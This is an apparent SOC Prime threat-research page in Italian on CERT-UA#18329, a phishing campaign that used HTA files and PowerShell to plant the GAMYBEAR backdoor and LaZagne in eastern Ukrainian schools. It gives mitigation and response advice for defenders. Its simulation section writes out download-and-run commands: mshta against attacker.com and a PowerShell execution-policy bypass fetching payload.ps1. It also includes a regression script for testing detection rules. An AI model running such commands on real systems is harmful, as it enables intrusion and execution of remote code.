SOC Prime Bias: Critico

20 Nov 2025 13:35 UTC

Attacco informatico mirato a una scuola dell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Attacco informatico mirato a una scuola dell’Ucraina orientale utilizzando lo strumento GAMYBEAR (CERT-UA#18329)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Una campagna di furto di credenziali ha colpito scuole e agenzie pubbliche nella regione di Sumy tramite un’email di phishing contenente un allegato ZIP. L’apertura dell’archivio ha attivato un file HTA tramite l’uso di mshta utility, che ha successivamente scaricato script PowerShell per distribuire il backdoor GAMYBEAR e il dumper di credenziali LaZagne, stabilire un C2 basato su HTTP ed esfiltrare file da directory mirate.

Analisi dell’attacco

CERT-UA ha collegato l’inizio della violazione a un messaggio di phishing inviato il 26 maggio 2025 da un account Gmail compromesso, fornendo i dettagli della campagna nell’allerta CERT-UA#18329. L’analisi forense ha rivelato una catena di infezione a più stadi: ZIP → HTA → update.js → PowerShell → GAMYBEAR accompagnato dal malware LaZagne, con persistenza mantenuta tramite una voce di registro Run e download ricorrenti da URL dannosi.

Mitigazione

Implementare l’autenticazione multi-fattore per tutti gli account email, bloccare l’esecuzione di file HTA e script PowerShell non attendibili, bloccare la chiave di registro Run e implementare una whitelist delle applicazioni. Aggiornare continuamente le regole di rilevamento degli endpoint per riconoscere i nomi di file, hashes e indicatori di rete di riferimento.

Risposta

Isolare prontamente gli endpoint interessati, reimpostare le credenziali Gmail compromesse, raccogliere tutti gli IOC identificati ed eseguire scansioni complete per GAMYBEAR, LaZagne e artefatti associati. Informare CERT-UA dell’incidente e distribuire gli IOC attraverso i canali rilevanti per la condivisione delle informazioni sulle minacce.

Flusso di attacco

Simulazioni

Esecuzione della simulazione

Prerequisito: Il controllo preliminare di Telemetria e Base deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa & Comandi dell’attacco:

    1. Fase 1 – Distribuire HTA dannoso: L’aggressore ospita evil.hta su un server web compromesso.

    2. Fase 2 – Eseguire tramite mshta.exe: Utilizzando un prompt dei comandi di Windows, l’aggressore esegue mshta.exe http://attacker.com/evil.hta. Questo crea un evento di creazione di processo con mshta.exe nella riga di comando, soddisfacendo la prima clausola della regola.

    3. Fase 3 – Bypass di PowerShell: Per eseguire un payload che aggira il criterio di esecuzione del sistema, l’aggressore avvia PowerShell con il flag -ep bypass :

      PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"

      Questo genera un secondo evento di creazione di processo contenente la stringa esatta PowerShell -ep bypass, soddisfacendo la seconda clausola.

  • Script per il test di regressione: Il seguente script PowerShell riproduce i passaggi sopra in modo automatizzato e ripetibile.

    # -------------------------------------------------
    # Regression Test – Trigger Sigma Rule for mshta & PowerShell -ep bypass
    # -------------------------------------------------
    
    # Variables – adjust to your lab environment
    $htaUrl   = "http://127.0.0.1/evil.hta"   # Must point to a reachable HTA file
    $psUrl    = "http://127.0.0.1/payload.ps1" # Simple PS payload (e.g., `Write-Host "pwned"`)
    
    # 1. Invoke mshta.exe
    Write-Host "[*] Launching mshta.exe against $htaUrl"
    Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow
    
    # Short pause to ensure the process logs
    Start-Sleep -Seconds 2
    
    # 2. Invoke PowerShell with execution‑policy bypass
    $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"
    Write-Host "[*] Launching PowerShell -ep bypass"
    Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow
    
    # Pause to allow logging
    Start-Sleep -Seconds 5
    
    Write-Host "[+] Test complete. Check your SIEM for alerts."
  • Comandi per la pulizia: Rimuovere i file temporanei e terminare eventuali processi di test residui.

    # Cleanup temporary payload
    Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue
    
    # Optionally kill lingering mshta or PowerShell instances spawned by the test
    Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force